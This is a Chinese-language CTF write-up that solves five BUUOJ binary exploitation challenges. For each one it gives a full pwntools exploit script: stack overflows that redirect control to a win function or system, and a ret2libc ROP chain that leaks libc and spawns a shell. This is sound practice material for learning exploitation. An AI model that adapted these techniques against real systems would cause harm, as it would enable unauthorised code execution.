pwn好難啊
PWN
1,連上就有flag的pwn
nc buuoj.cn 6000得到flag
2,RIP覆蓋一下
用ida分析一下,
發現已有了system,只需覆蓋RIP為fun()的地址,用peda計算偏移為23,寫腳本
from pwn import* sh=remote('f.buuoj.cn',6001) payload='a'*23+p64(0x401186) sh.sendline(payload) sh.interactive()
得到flag
3,warmup_csaw_2016
先拖進ida
找到了system地址
下載libc.so
用peda
找到ebp位置,需覆蓋64+8字節,寫腳本
from pwn import*
#sh=process('/home/harmonica/Desktop/warmup_csaw_2016.dms' )
sh=remote('pwn.buuoj.cn',20035) payload='a'*72+p64(0x40060D) sh.sendline(payload) sh.interactive()
得到flag
4,ciscn_2019_c_1
棧溢出,查看保護
經過分析,需覆蓋0x58字節,本來這題想不用給的libc,但用LibcSearcher找不到這個libc,還是去下了一份
查到/bin/sh位置
寫腳本
from pwn import *
from LibcSearcher import LibcSearcher sh=remote('pwn.buuoj.cn',20115) #sh=process('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
ciscn=ELF('/home/harmonica/Desktop/ciscn_2019_c_1.dms') libc=ELF('/home/harmonica/Desktop/x64_libc.so.6') def send(content): sh.recvuntil('Input your choice!\n') sh.sendline('1') sh.recvuntil('Input your Plaintext to be encrypted\n') sh.sendline(content) puts_plt=ciscn.plt['puts'] puts_got=ciscn.got['puts'] main=ciscn.symbols['main'] pop_rdi=0x400c83 payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) send(payload) sh.recvuntil('@\n') puts_addr=u64(sh.recv(6).ljust(8,'\x00')) #libc=LibcSearcher('puts', puts_addr)
libcbase=puts_addr-libc.sym['puts'] log.success("libcbase: "+hex(libcbase)) system_addr=libcbase+libc.sym['system'] binsh_addr=libcbase+0x18cd57 payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr) send(payload) sh.interactive()
得到flag
5, pwn1_sctf_2016
拖進ida,c++程序,找到主函數
程序中帶了system
運行程序
當輸入'I'時會轉換為‘you’
fgets溢出,寫exp
from pwn import * sh=remote('pwn.buuoj.cn',20086) get_flag=0x08048F0D payload='I'*0x14+'a'*4+p32(get_flag) sh.sendline(payload) sh.interactive()
得到flag